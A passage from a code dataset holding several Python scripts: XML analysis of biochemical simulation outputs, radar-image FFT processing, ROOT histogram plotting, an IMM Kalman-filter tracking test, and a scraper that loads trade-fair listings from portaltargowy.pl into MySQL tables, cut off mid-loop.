ConfigsManagerSingleton)\n","sub_path":"tpDcc/managers/configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":10406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"465793976","text":"mol_change={'ERK':'ERK', 'MEK':'MEK','MKP1':'MKP1','PP2A':'PP2A','Raf':'Raf1','bRaf':'bRaf','dRaf1Ras':'dRaf1Ras','cAMP':'cAMP','PDE2':'PDE2','PDE4':'PDE4','PKA':'PKA','PKAc':'PKAc','Src':'Src','Cbl':'Cbl','CRKC3G':'CRKC3G','CamCa4':'CamCa4','CKpCamCa4':'CKpCamCa4','CKpCamCa4SynGap':'CKpCamCa4SynGap','PP1':'PP1','IP35':'Ip35','NgCam':'NgCam','Grb2':'Grb2','Sos':'Sos','Shc':'Shc','RasGRF':'RasGRF','Epac':'Epac','RasGDP':'RasGDP','Rap1GDP':'Rap1GDP','Ca':'Ca','Leak':'Leak','pmca':'pmca','ncx':'ncx','Calbin':'Calbin','CB':'CB','rasGap':'rasGap','rapGap':'rap1Gap','SynGap':'SynGap'}\n\nimport glob\nimport os\nfrom lxml import etree\nfrom xml.etree import ElementTree as ET\nimport numpy as np\n\ncrtl_list={}\nfilename='IC_ERK-Test_basald.xml'\nroot=ET.parse(filename).getroot()\nfor mol in mol_change.keys():\n for elem in root:\n for subelem in elem:\n if mol==subelem.attrib['specieID']:\n val=float(subelem.attrib['value'])\n crtl_list[mol]=val\n\nPATH='./'\npattern_IC=PATH+'IC'+'*'+'random*'+'*.xml'\nIC_filename=sorted(glob.glob(pattern_IC)) \nall_list={}\n#\nfor file_name in IC_filename:\n root=ET.parse(file_name).getroot()\n f=file_name.split('-')[-1].split('.')[0]\n all_list[f]={}\n for mol in crtl_list.keys():\n for elem in root:\n for subelem in elem:\n if mol== subelem.attrib['specieID']:\n change_val=float(subelem.attrib['value'])/crtl_list[mol]\n all_list[f][mol]=change_val\noutfname='RandomAnalysis_mol.npy'\nnp.save(outfname,all_list)\n\n'''\n#to check data\ndat=np.load(outfname+'.npz',allow_pickle=True)\ndat.keys()\ndat['ctrl'].item() \n'''\n\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nplt.ion()\nimport math\n\ndf=pd.DataFrame.from_dict(all_list,orient='index')\ndf.to_csv('mol_list.txt')\n\n\nncols=6\nnrows=math.ceil(len(df.columns)/ncols)\n\nfig,axes=plt.subplots(nrows,ncols)\nfor i, col in enumerate(df.columns):\n for r in range(nrows):\n for c in range(ncols):\n df[col].plot.bar(ax=axes[r,c],title=col)\n ###plt.title(col)\n\n\n","sub_path":"Experiment/simulation/4_Robustness/analysis/Random/mol_analysis.py","file_name":"mol_analysis.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"329128555","text":"import numpy as np\nimport sys\nsys.path.append('./')\nsys.path.append('./fft')\n\nimport torch\nif sys.platform == \"darwin\":\n import matplotlib\n matplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nfrom ar_image import Corr\nfrom skimage import color\nfrom skimage import io\nfrom boxx import *\nfrom myfft.fft import fft_decompose, fft_recompose\nfrom vis.vis_radar import vis_radar\n\n\ndef read_grey(path):\n return color.rgb2gray(io.imread('pics/p0.png'))\n\n\nuse_cuda = False\n# if torch.has_cudnn:\n# use_cuda = True\n\n\nR = np.load(\"pics/R.npz\")\nR = R[\"arr_0\"]\n\nimg0 = R[0]\nimg1 = R[1]\nimg2 = R[2]\n\nres = fft_decompose(R, ar_order=2, n_cascade_levels=8, R_thr=-10)\n\nprint(\">>> ori img0\")\n#loga(img0)\nprint(res[0].keys())\nfor i in range(8):\n img = res[0][\"cascade_levels\"][i]\n #plt.imshow(img)\n #plt.show()\nR = res[0][\"cascade_levels\"]\nprint(\"res[0].keys()\", res[0].keys())\n\nout_img = fft_recompose(R)\n\nprint(\">>> out_img\")\n# loga(out_img)\n\n\nprint(\"img0\", img0.shape)\nh = img0.shape[0]\nw = img0.shape[1]\n\nimg0 = np.reshape(img0, (1, 1, h, w))\nimg1 = np.reshape(img1, (1, 1, h, w))\nimg2 = np.reshape(img2, (1, 1, h, w))\nimg0 = torch.from_numpy(img0)\nimg1 = torch.from_numpy(img1)\nimg2 = torch.from_numpy(img2)\nif use_cuda:\n img0 = img0.cuda()\n img1 = img1.cuda()\n img2 = img2.cuda()\n\nR_thr = -10\nmask_R0 = img0 >= R_thr\nmask_R1 = img1 >= R_thr\nmask_R2 = img2 >= R_thr\nmask_R = mask_R0 * mask_R1 * mask_R2\nmask_R = mask_R[0,0].float()\n\n### patch level ###\n# corr_module = Corr(window_size=9, sigma=3)\n\n### image level ###\ncorr_module = Corr(image_level=True)\nif use_cuda:\n corr_module = corr_module.cuda()\nimg3 = corr_module(img0, img1, img2, mask_R)\n\n\nvis_radar(img0[0,0].data.numpy(), \"nofft_R0.png\")\nvis_radar(img1[0,0].data.numpy(), \"nofft_R1.png\")\nvis_radar(img2[0,0].data.numpy(), \"nofft_R2.png\")\nvis_radar(img3[0,0].data.numpy(), \"nofft_R3.png\")\n\nplt.imshow(img3[0,0].float())\nplt.show()\n\n\n\n\n\n\n\n\n","sub_path":"main_image.py","file_name":"main_image.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"198503158","text":"\nfrom ROOT import *\nfrom array import array\nfrom math import fabs, sqrt\n\ndef function ():\n gStyle.SetOptStat(0)\n\n binxmet = 0\n binxmetR = 0\n\n rootfile = TFile.Open(\"./forMichael.root\")\n rootfile.ls()\n\n #Hmet = TH1D(\"Hmet\",\"Hmet\",40,0,200)\n #HmetR = TH1D(\"HmetR\",\"HmetR\",40,0,200)\n\n c1 = TCanvas(\"c1\",\"c1\",600,500)\n c1.cd()\n\n Hmet = gROOT.FindObject('h_met')\n \n for i in range(Hmet.GetNbinsX()):\n if (Hmet.GetBinContent(i) > binxmet):\n binxmet = Hmet.GetBinContent(i)\n\n Hmet.SetMarkerStyle(20)\n Hmet.SetMarkerSize(0.5)\n Hmet.SetMarkerColor(kRed)\n HmetR = gROOT.FindObject(\"h_met_R2g0p035\")\n\n for i in range(Hmet.GetNbinsX()):\n if (HmetR.GetBinContent(i) > binxmetR):\n binxmetR = HmetR.GetBinContent(i)\n \n scale = binxmetR/binxmet\n #scale = HmetR.Integral()/Hmet.Integral()\n\n HmetR.SetMarkerStyle(20)\n HmetR.SetMarkerSize(0.5)\n HmetR.SetMarkerColor(kBlue)\n \n Hmet.Scale(scale)\n\n Hmet.SetTitle(\"\")\n Hmet.GetXaxis().SetTitle(\"MET (GeV)\")\n Hmet.GetYaxis().SetTitle(\"A.U.\")\n Hmet.GetXaxis().SetRangeUser(0,1000)\n\n leg = TLegend(0.55,0.70,0.89,0.89)\n leg.SetFillColor(kWhite)\n leg.SetTextSize(0.038)\n leg.SetTextFont(42)\n leg.SetBorderSize(0)\n leg.AddEntry(HmetR,\"MET with R^2>0.035\",\"p\")\n leg.AddEntry(Hmet,\"MET\",\"p\")\n\n c1.SetLogy()\n\n Hmet.Draw(\"L\")\n HmetR.Draw(\"Lsame\")\n leg.Draw(\"same\")\n\n c1.SaveAs(\"razorvariable.png\")\n\n #output = TFile.Open(\"./ctau\"+ctau1+\"andctau\"+ctau2+\"lambda\"+lamb+\"/output\"+str(phot)+\".root\",\"recreate\")\n\n #output.Close()\n\n\ndef main():\n function()\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"DPAnalysis_Step3/razorvariable.py","file_name":"razorvariable.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"221758911","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport copy\nfrom filterpy.kalman import IMMEstimator\nfrom filterpy.kalman import KalmanFilter\nfrom filterpy.common import Q_discrete_white_noise\nfrom math import sin, cos, sqrt, atan2\nfrom scipy.linalg import block_diag\nfrom tracker import simulateCircle as sc\nfrom tracker import predictIMM as imm\n\ndef sign(x):\n return(math.copysign(1,x))\n\ndef turning_target(N=600, turn_start=400):\n \"\"\" simulate a moving target blah\"\"\"\n\n #r = 1.\n dt = 1.\n phi_sim = np.array(\n [[1, dt, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, dt],\n [0, 0, 0, 1]])\n\n gam = np.array([[dt**2/2, 0],\n [dt, 0],\n [0, dt**2/2],\n [0, dt]])\n\n x = np.array([[2000, 0, 10000, -15.]]).T\n\n simxs = []\n\n for i in range(N):\n x = np.dot(phi_sim, x)\n if i >= turn_start:\n x += np.dot(gam, np.array([[.075, .075]]).T)\n #print(x)\n simxs.append(x)\n simxs = np.array(simxs)\n\n return simxs\n\ndef circle_target(N=50):\n simxs = []\n # R, MX, MY, MZ, gamma\n cs = sc.simulateCircle(90., 100., 100., 0., gamma=60.0)\n dn = 180. / float(N)\n alpha = 0.\n xo,yo,zo = cs.pointAt(0.)\n while alpha < 180.:\n #for alpha in range(0,360,N):\n x,y,z = cs.pointAt(alpha)\n vx = (xo - x) / dt\n vy = (yo - y) / dt\n xs = np.array([x,vx,y,vy]).T\n #print(xs)\n xo = x\n yo = y\n simxs.append(xs)\n alpha = alpha + dn\n\n return np.array(simxs)\n\ndef linear_target(N=50):\n m = 0.5\n b = 100.\n simxs = []\n for x in range(0,10*N,10):\n y = m*x+b\n xs = np.array([x,10.,y,5.])\n simxs.append(xs)\n return np.array(simxs)\n\nif __name__ == \"__main__\":\n\n N = 40\n dt = 0.04\n p = 100.\n q = 5.\n #track = turning_target(N)\n track = circle_target(N)\n #track = linear_target(N)\n alpha0 = atan2(track[0,2], track[0,0])\n alpha1 = atan2(track[1,2], track[1,0])\n omega = 1.41 * (alpha0 - alpha1) / dt\n print(omega)\n\n # create noisy measurements\n zs = np.zeros((N, 2))\n r = 0.5\n for i in range(N):\n px = track[i, 0] + np.random.randn()*r\n py = track[i, 2] + np.random.randn()*r\n #print \"px: %4.2f, py: %4.2f\" % (px,py)\n zs[i, 0] = px\n zs[i, 1] = py\n\n\n immfilter = imm.filterIMM(dt,omega,p,r,q)\n xstart = np.array([[10., 10., 0, 100., 1., 0]]).T\n immfilter.startAt(xstart)\n xs, probs = [], []\n for i, z in enumerate(zs):\n #z = np.array([z]).T\n #print(\"x: %4.2f, y: %4.2f\" % (z[0], z[1]))\n #bank.update(z)\n x = z[0]\n y = z[1]\n immfilter.update(x,y)\n xs.append(immfilter.bank.x.copy())\n probs.append(immfilter.bank.mu.copy())\n print(immfilter.bank.mu)\n\n\n xs = np.array(xs)\n #cvxs = np.array(cvxs)\n #caxs = np.array(caxs)\n probs = np.array(probs)\n plt.subplot(131)\n plt.title('imm2.py')\n plt.plot(track[:, 0], track[:, 2], '--r')\n plt.plot(xs[:, 0], xs[:, 3], 'k')\n plt.scatter(zs[:, 0], zs[:, 1], marker='+')\n\n plt.subplot(132)\n plt.plot(probs[:, 0], 'r')\n plt.plot(probs[:, 1], 'g')\n plt.plot(probs[:, 2], 'b')\n\n plt.ylim(0., 1.0)\n plt.legend(['p(cv)', 'p(ca)', 'p(ct)'])\n plt.title('probability ratio')\n\n plt.subplot(133)\n dx = (xs[:,0].T - zs[:,0]) / zs[:,0]\n dy = (xs[:,3].T - zs[:,1]) / zs[:,1]\n plt.plot(dx.T, 'g')\n plt.plot(dy.T, 'b')\n plt.title('relative error')\n plt.legend(['dx', 'dy'])\n plt.axhline(y=0, color='k')\n\n\n plt.show()\n","sub_path":"src/imm-turn-test.py","file_name":"imm-turn-test.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"533240136","text":"import urllib.request\r\nfrom bs4 import BeautifulSoup\r\nimport mysql.connector\r\nimport time\r\nfrom datetime import date\r\n\r\nmydb = mysql.connector.connect(\r\n host=\"xxx\",\r\n user=\"xxx\",\r\n password=\"xxx\",\r\n database=\"xxx\"\r\n\r\n)\r\n\r\nmycursor = mydb.cursor(buffered=True)\r\n\r\nt = time.localtime()\r\ncurrent_time = time.strftime(\"%H_%M_%S\", t)\r\ntoday = str(date.today())\r\ntoday = today.replace(\"-\", \"_\")\r\n\r\nbasic_table_name_organizers = today + \"_\" + current_time + \"_\" + 'portal_targowy_organizers'\r\nsql_table_creation = \"CREATE TABLE \" + basic_table_name_organizers + \" (organizer_id int NOT NULL AUTO_INCREMENT PRIMARY KEY, organizer_full_name VARCHAR(255), organizer_address VARCHAR(255), organizer_www VARCHAR(255), organizer_telephone int, organizer_email VARCHAR(255), organizer_page_url VARCHAR(255)) COLLATE=utf8_general_ci\"\r\nmycursor.execute(sql_table_creation)\r\nsqlFormula_organizers = \"INSERT INTO \" + basic_table_name_organizers + \" (organizer_id, organizer_full_name, organizer_address, organizer_www, organizer_telephone, organizer_email, organizer_page_url) VALUES (%s, %s, %s, %s, %s, %s, %s)\"\r\n\r\nbasic_table_name_categories = today + \"_\" + current_time + \"_\" + 'portal_targowy_categories'\r\nsql_table_creation = \"CREATE TABLE \" + basic_table_name_categories + \" (category_id int NOT NULL PRIMARY KEY, category_name VARCHAR(255)) COLLATE=utf8_general_ci\"\r\nmycursor.execute(sql_table_creation)\r\nsqlFormula_categories = \"INSERT INTO \" + basic_table_name_categories + \" (category_id, category_name) VALUES (%s, %s)\"\r\n\r\nbasic_table_name_offers_data = today + \"_\" + current_time + \"_\" + 'portal_targowy_offers_data'\r\nsql_table_creation = \"CREATE TABLE \" + basic_table_name_offers_data + \" (offer_id int NOT NULL AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255), trade_portaltargowy_site VARCHAR(255), trade_fair VARCHAR(255), announce_date_valid VARCHAR(255), announce_type VARCHAR(255), description MEDIUMTEXT, exhibitor_name VARCHAR(255), exhibitor_address VARCHAR(255), exhibitor_www VARCHAR(255), exhibitor_telephone int, exhibitor_email VARCHAR(255), category_id int, FOREIGN KEY (category_id) REFERENCES \" + basic_table_name_categories + \"(category_id)) COLLATE=utf8_general_ci\"\r\nmycursor.execute(sql_table_creation)\r\nsqlFormula_offers_data = \"INSERT INTO \" + basic_table_name_offers_data + \" (offer_id, name, trade_portaltargowy_site, trade_fair, announce_date_valid, announce_type, description, exhibitor_name, exhibitor_address, exhibitor_www, exhibitor_telephone, exhibitor_email, category_id) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\r\n\r\nbasic_table_name_exhibitors = today + \"_\" + current_time + \"_\" + 'portal_targowy_exhibitors'\r\nsql_table_creation = \"CREATE TABLE \" + basic_table_name_exhibitors + \" (exhibitor_id int NOT NULL AUTO_INCREMENT PRIMARY KEY, exhibitor_full_name VARCHAR(255), exhibitor_address VARCHAR(255), exhibitor_www VARCHAR(255), exhibitor_telephone int, exhibitor_email VARCHAR(255), exhibitor_logo VARCHAR(255)) COLLATE=utf8_general_ci\"\r\nmycursor.execute(sql_table_creation)\r\nsqlFormula_exhibitors = \"INSERT INTO \" + basic_table_name_exhibitors + \" (exhibitor_id, exhibitor_full_name, exhibitor_address, exhibitor_www, exhibitor_telephone, exhibitor_email, exhibitor_logo) VALUES (%s, %s, %s, %s, %s, %s, %s)\"\r\n\r\nbasic_table_name_cat_j_exh = today + \"_\" + current_time + \"_\" + 'portal_targowy_cat_j_exh'\r\nsql_table_creation = \"CREATE TABLE \" + basic_table_name_cat_j_exh + \" (category_id int NOT NULL, FOREIGN KEY (category_id) REFERENCES \" + basic_table_name_categories + \"(category_id), exhibitor_id int NOT NULL, FOREIGN KEY (exhibitor_id) REFERENCES \" + basic_table_name_exhibitors + \"(exhibitor_id)) COLLATE=utf8_general_ci\"\r\nmycursor.execute(sql_table_creation)\r\nsqlFormula_cat_j_exh = \"INSERT INTO \" + basic_table_name_cat_j_exh + \" (category_id, exhibitor_id) VALUES (%s, %s)\"\r\n\r\nbasic_table_name_events = today + \"_\" + current_time + \"_\" + 'portal_targowy_events'\r\nsql_table_creation = \"CREATE TABLE \" + basic_table_name_events + \" (event_id int NOT NULL AUTO_INCREMENT PRIMARY KEY, event_full_name VARCHAR(255), event_logo VARCHAR(255), event_date VARCHAR(255), event_localization VARCHAR(255), event_www VARCHAR(255), event_description MEDIUMTEXT, organizer_id int, FOREIGN KEY (organizer_id) REFERENCES \" + basic_table_name_organizers + \"(organizer_id)) COLLATE=utf8_general_ci\"\r\nmycursor.execute(sql_table_creation)\r\nsqlFormula_events = \"INSERT INTO \" + basic_table_name_events + \" (event_id, event_full_name, event_logo, event_date, event_localization, event_www, event_description, organizer_id) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\"\r\n\r\nbasic_table_name_cat_j_ev = today + \"_\" + current_time + \"_\" + 'portal_targowy_cat_j_ev'\r\nsql_table_creation = \"CREATE TABLE \" + basic_table_name_cat_j_ev + \" (category_id int NOT NULL, FOREIGN KEY (category_id) REFERENCES \" + basic_table_name_categories + \"(category_id), event_id int NOT NULL, FOREIGN KEY (event_id) REFERENCES \" + basic_table_name_events + \"(event_id)) COLLATE=utf8_general_ci\"\r\nmycursor.execute(sql_table_creation)\r\nsqlFormula_cat_j_ev = \"INSERT INTO \" + basic_table_name_cat_j_ev + \" (category_id, event_id) VALUES (%s, %s)\"\r\n\r\npage_number = 1\r\norganizer_full_name = None\r\norganizer_address = None\r\norganizer_www = None\r\norganizer_telephone = None\r\norganizer_email = None\r\norganizer_id = 1\r\nwhile True:\r\n organizer_page_url = 'https://portaltargowy.pl/organizatorzy?page=' + str(page_number)\r\n print(\"organizer page number: \" + str(page_number))\r\n organizer_page_req = urllib.request.Request(organizer_page_url, headers={'User-Agent': \"Mozilla/5.0\"})\r\n organizer_page = urllib.request.urlopen(organizer_page_req)\r\n organizer_page_html = organizer_page.read()\r\n organizer_page.close()\r\n organizer_page_soup = BeautifulSoup(organizer_page_html, \"html.parser\")\r\n organizer_list = organizer_page_soup.findAll(\"div\", {\"class\": \"ccol-lg-8 col-md-6 mt-2\"})\r\n if not organizer_list:\r\n break\r\n for row in organizer_list:\r\n organizer_page_url = row.a[\"href\"]\r\n organizer_page_req = urllib.request.Request(organizer_page_url, headers={'User-Agent': \"Mozilla/5.0\"})\r\n organizer_page = urllib.request.urlopen(organizer_page_req)\r\n organizer_page_html = organizer_page.read()\r\n organizer_page.close()\r\n organizer_page_soup = BeautifulSoup(organizer_page_html, \"html.parser\")\r\n organizer_list = organizer_page_soup.select('#organizer .col-md-8')\r\n organizer_list = organizer_list[0].text.split('\\n')\r\n for y in range(5):\r\n # print(x)\r\n try:\r\n if organizer_list[y + 1].strip().startswith('Pełna nazwa'):\r\n organizer_full_name = organizer_list[y + 1].strip()\r\n organizer_full_name = organizer_full_name.replace('Pełna nazwa: ', '')\r\n except IndexError:\r\n continue\r\n try:\r\n if organizer_list[y + 1].strip().startswith('Adres'):\r\n organizer_address = organizer_list[y + 1].strip()\r\n organizer_address = organizer_address.replace('Adres: ', '')\r\n except IndexError:\r\n continue\r\n try:\r\n if organizer_list[y + 1].strip().startswith('WWW'):\r\n organizer_www = organizer_list[y + 1].strip()\r\n organizer_www = organizer_www.replace('WWW: ', '')\r\n except IndexError:\r\n continue\r\n try:\r\n if organizer_list[y + 1].strip().startswith('Telefon'):\r\n organizer_telephone = organizer_list[y + 1].strip()\r\n organizer_telephone = organizer_telephone.replace('Telefon: ', '')\r\n except IndexError:\r\n continue\r\n try:\r\n if organizer_list[y + 1].strip().startswith('E-mail'):\r\n organizer_email = organizer_list[y + 1].strip()\r\n organizer_email = organizer_email.replace('E-mail: ', '')\r\n except IndexError:\r\n continue\r\n print(organizer_full_name)\r\n print(organizer_address)\r\n print(organizer_www)\r\n print(organizer_telephone)\r\n print(organizer_email)\r\n sql_data_organizers = (organizer_id, organizer_full_name, organizer_address, organizer_www, organizer_telephone, organizer_email, organizer_page_url)\r\n # print(sql_data_organizer)\r\n mycursor.execute(sqlFormula_organizers, sql_data_organizers)\r\n organizer_full_name = None\r\n organizer_address = None\r\n organizer_www = None\r\n organizer_telephone = None\r\n organizer_email = None\r\n print(\"organizer nr: \" + str(organizer_id))\r\n organizer_id = organizer_id + 1\r\n page_number = page_number + 1\r\nevent_id = 1\r\noffer_id = 1\r\nexhibitor_id = 1\r\nexhibitor_full_name = None\r\nexhibitor_address = None\r\nexhibitor_www = None\r\nexhibitor_telephone = None\r\nexhibitor_email = None\r\nexhibitor_full_name_mysql = None\r\nexhibitor_address_mysql = None\r\n# x to liczba kategorii, należy wprowadzić ręcznie w kodzie\r\nfor x in range(17):\r\n category_id = x + 1\r\n offers_page_url = 'https://portaltargowy.pl/wyniki-wyszukiwania?q=&category=' + str(category_id)\r\n offers_page_req = urllib.request.Request(offers_page_url, headers={'User-Agent': \"Mozilla/5.0\"})\r\n offers_page = urllib.request.urlopen(offers_page_req)\r\n offers_page_html = offers_page.read()\r\n offers_page.close()\r\n offers_page_soup = BeautifulSoup(offers_page_html, \"html.parser\")\r\n category_name = offers_page_soup.select('small')\r\n category_name = category_name[0].text.strip()\r\n category_name = category_name.replace('Wyniki wyszukiwania dla frazy: \\\"\\\"\\n w kategorii: \\\"', '')\r\n category_name = category_name[:-1]\r\n sql_data_categories = (category_id, category_name)\r\n mycursor.execute(sqlFormula_categories, sql_data_categories)\r\n promo_list1 = offers_page_soup.find(\"div\", {\"id\": \"offers\"})\r\n try:\r\n promo_list2 = promo_list1.findAll(\"div\", {\"class\": \"col-md-6 mt-2\"})\r\n except AttributeError:\r\n continue\r\n for row in promo_list2:\r\n offers_page_url2 = row.a[\"href\"]\r\n offers_page_req2 = urllib.request.Request(offers_page_url2, headers={'User-Agent': \"Mozilla/5.0\"})\r\n offers_page2 = urllib.request.urlopen(offers_page_req2)\r\n offers_page_html2 = offers_page2.read()\r\n offers_page2.close()\r\n offers_page_soup2 = BeautifulSoup(offers_page_html2, \"html.parser\")\r\n name = offers_page_soup2.find(\"h1\", {\"class\": \"line-after\"}).text\r\n text_right = offers_page_soup2.select('.col-md-12 .text-right')\r\n trade_portaltargowy_site = text_right[0].a[\"href\"]\r\n text_right = text_right[0].text\r\n # print(text_right[0].text.strip())\r\n text_right = text_right.split(\"|\")\r\n trade_fair = text_right[0].strip()\r\n trade_fair = trade_fair.replace('Targi: ', '')\r\n announce_date_valid = text_right[1]\r\n announce_date_valid = announce_date_valid.replace('Ogłoszenie ważne\\n ', '').strip()\r\n announce_type = text_right[2].strip()\r\n description = offers_page_soup2.select('.col-md-12 .col-md-12')\r\n description = description[0].text.strip()\r\n description = description.replace('Opis ogłoszenia:\\n', '')\r\n exhibitor_data1 = offers_page_soup2.select('br+ .row .col-md-12')\r\n exhibitor_data1 = exhibitor_data1[0].text.strip()\r\n if exhibitor_data1 == \"Galeria ogłoszenia:\":\r\n exhibitor_data2 = offers_page_soup2.select('.col-md-12 .col-md-8')\r\n try:\r\n exhibitor_data2 = exhibitor_data2[0].text.strip()\r\n except IndexError:\r\n exhibitor_data3 = offers_page_soup2.select('.row:nth-child(9) .col-md-12')\r\n exhibitor_data3 = exhibitor_data3[0].text.strip()\r\n exhibitor_data3 = exhibitor_data3.split(\"\\n\")\r\n exhibitor_name = exhibitor_data3[1].strip()\r\n # print(exhibitor_name)\r\n exhibitor_address = exhibitor_data3[3].strip() + exhibitor_data3[4].strip()\r\n exhibitor_address = exhibitor_address.replace('Adres: ', '')\r\n # print(exhibitor_address)\r\n exhibitor_www = exhibitor_data3[5].strip()\r\n exhibitor_www = exhibitor_www.replace('WWW: ', '')\r\n # print(exhibitor_www)\r\n exhibitor_telephone = exhibitor_data3[-1].strip()\r\n if exhibitor_telephone.startswith(\"WWW\"):\r\n exhibitor_telephone = None\r\n # print(exhibitor_telephone)\r\n exhibitor_email = None\r\n else:\r\n exhibitor_data2 = exhibitor_data2.split(\"\\n\")\r\n exhibitor_name = exhibitor_data2[2].strip()\r\n # print(exhibitor_name)\r\n exhibitor_address = exhibitor_data2[5].strip()\r\n exhibitor_address = exhibitor_address.replace('Adres: ', '')\r\n # print(exhibitor_address)\r\n exhibitor_www = exhibitor_data2[7].strip()\r\n exhibitor_www = exhibitor_www.replace('WWW: ', '')\r\n # print(exhibitor_www)\r\n exhibitor_telephone = exhibitor_data2[8].strip()\r\n # print(exhibitor_telephone)\r\n exhibitor_email = exhibitor_data2[10].strip()\r\n exhibitor_email = exhibitor_email.replace('E-mail: ', '')\r\n # print(exhibitor_email)\r\n else:\r\n exhibitor_data1 = exhibitor_data1.split(\"\\n\")\r\n exhibitor_name = exhibitor_data1[1].strip()\r\n # print(exhibitor_name)\r\n exhibitor_address = exhibitor_data1[3].strip() + exhibitor_data1[4].strip()\r\n exhibitor_address = exhibitor_address.replace('Adres: ', '')\r\n # print(exhibitor_address)\r\n exhibitor_www = exhibitor_data1[5].strip()\r\n exhibitor_www = exhibitor_www.replace('WWW: ', '')\r\n # print(exhibitor_www)\r\n exhibitor_telephone = exhibitor_data1[-1].strip()\r\n exhibitor_telephone = exhibitor_telephone.replace('Telefon: ', '')\r\n if exhibitor_telephone.startswith(\"WWW\"):\r\n exhibitor_telephone = None\r\n # print(exhibitor_telephone)\r\n exhibitor_email = None\r\n sql_data_offers_data = (offer_id, name, trade_portaltargowy_site, trade_fair, announce_date_valid, announce_type, description, exhibitor_name, exhibitor_address, exhibitor_www, exhibitor_telephone, exhibitor_email, category_id)\r\n mycursor.execute(sqlFormula_offers_data, sql_data_offers_data)\r\n offer_id = offer_id + 1\r\n page_number = 1\r\n while True:\r\n print(\"category number \" + str(x + 1))\r\n print(\"page number \" + str(page_number))\r\n exhibitor_page_url = 'https://portaltargowy.pl/wystawcy?category=' + str(x + 1) + '&page=' + str(page_number)\r\n exhibitor_page_req = urllib.request.Request(exhibitor_page_url, headers={'User-Agent': \"Mozilla/5.0\"})\r\n exhibitor_page = urllib.request.urlopen(exhibitor_page_req)\r\n exhibitor_page_html = exhibitor_page.read()\r\n exhibitor_page.close()\r\n exhibitor_page_soup = BeautifulSoup(exhibitor_page_html, \"html.parser\")\r\n exhibitor_list = exhibitor_page_soup.findAll(\"div\", {\"class\": \"col-lg-8 mt-2\"})\r\n if not exhibitor_list:\r\n break\r\n for row in exhibitor_list:\r\n exhibitor_page_url = row.a[\"href\"]\r\n exhibitor_page_req = urllib.request.Request(exhibitor_page_url, headers={'User-Agent': \"Mozilla/5.0\"})\r\n exhibitor_page = urllib.request.urlopen(exhibitor_page_req)\r\n exhibitor_page_html = exhibitor_page.read()\r\n exhibitor_page.close()\r\n exhibitor_page_soup = BeautifulSoup(exhibitor_page_html, \"html.parser\")\r\n exhibitor_data = exhibitor_page_soup.select('.col-md-8 .col-md-8')\r\n exhibitor_data = exhibitor_data[0].text.strip()\r\n exhibitor_data = exhibitor_data.split(\"\\n\")\r\n for y in range(4):\r\n try:\r\n if exhibitor_data[y].strip().startswith('Pełna nazwa'):\r\n exhibitor_full_name = exhibitor_data[y].strip()\r\n exhibitor_full_name = exhibitor_full_name.replace('Pełna nazwa: ', '')\r\n exhibitor_full_name_mysql = (exhibitor_full_name,)\r\n print(exhibitor_full_name)\r\n except IndexError:\r\n continue\r\n try:\r\n if exhibitor_data[y].strip().startswith('Adres'):\r\n exhibitor_address = exhibitor_data[y].strip()\r\n exhibitor_address = exhibitor_address.replace('Adres: ', '')\r\n exhibitor_address_mysql = (exhibitor_address,)\r\n print(exhibitor_address)\r\n except IndexError:\r\n continue\r\n try:\r\n if exhibitor_data[y].strip().startswith('WWW'):\r\n exhibitor_www = exhibitor_data[y].strip()\r\n exhibitor_www = exhibitor_www.replace('WWW: ', '')\r\n print(exhibitor_www)\r\n except IndexError:\r\n continue\r\n try:\r\n if exhibitor_data[y].strip().startswith('Telefon'):\r\n exhibitor_telephone = exhibitor_data[y].strip()\r\n exhibitor_telephone = exhibitor_telephone.replace('Telefon: ', '')\r\n print(exhibitor_telephone)\r\n except IndexError:\r\n continue\r\n try:\r\n if exhibitor_data[y].strip().startswith('E-mail'):\r\n exhibitor_email = exhibitor_data[y].strip()\r\n exhibitor_email = exhibitor_email.replace('E-mail: ', '')\r\n print(exhibitor_email)\r\n except IndexError:\r\n continue\r\n exhibitor_logo = exhibitor_page_soup.select('.logo-exhibitor img')\r\n exhibitor_logo = exhibitor_logo[0][\"src\"]\r\n print(exhibitor_logo)\r\n select_exists_exhibitor_full_name_formula = \"SELECT EXISTS(SELECT * from \" + basic_table_name_exhibitors + \" WHERE exhibitor_full_name = \" + \"%s\" + \")\"\r\n mycursor.execute(select_exists_exhibitor_full_name_formula, exhibitor_full_name_mysql)\r\n exists_exhibitor_full_name_condition = mycursor.fetchone()\r\n exists_exhibitor_full_name_condition = exists_exhibitor_full_name_condition[0]\r\n print(\"existence condition name: \" + str(exists_exhibitor_full_name_condition))\r\n select_exists_exhibitor_address_formula = \"SELECT EXISTS(SELECT * from \" + basic_table_name_exhibitors + \" WHERE exhibitor_address = \" + \"%s\" + \")\"\r\n mycursor.execute(select_exists_exhibitor_address_formula, exhibitor_address_mysql)\r\n exists_exhibitor_address_condition = mycursor.fetchone()\r\n exists_exhibitor_address_condition = exists_exhibitor_address_condition[0]\r\n print(\"existence condition address: \" + str(exists_exhibitor_address_condition))\r\n if exists_exhibitor_full_name_condition and exists_exhibitor_address_condition:\r\n print(\"EXIST\")\r\n select_existing_exhibitor_id_formula = \"SELECT exhibitor_id FROM \" + basic_table_name_exhibitors + \" WHERE exhibitor_full_name = %s\"\r\n mycursor.execute(select_existing_exhibitor_id_formula, exhibitor_full_name_mysql)\r\n existing_exhibitor_id = mycursor.fetchone()\r\n existing_exhibitor_id = existing_exhibitor_id[0]\r\n 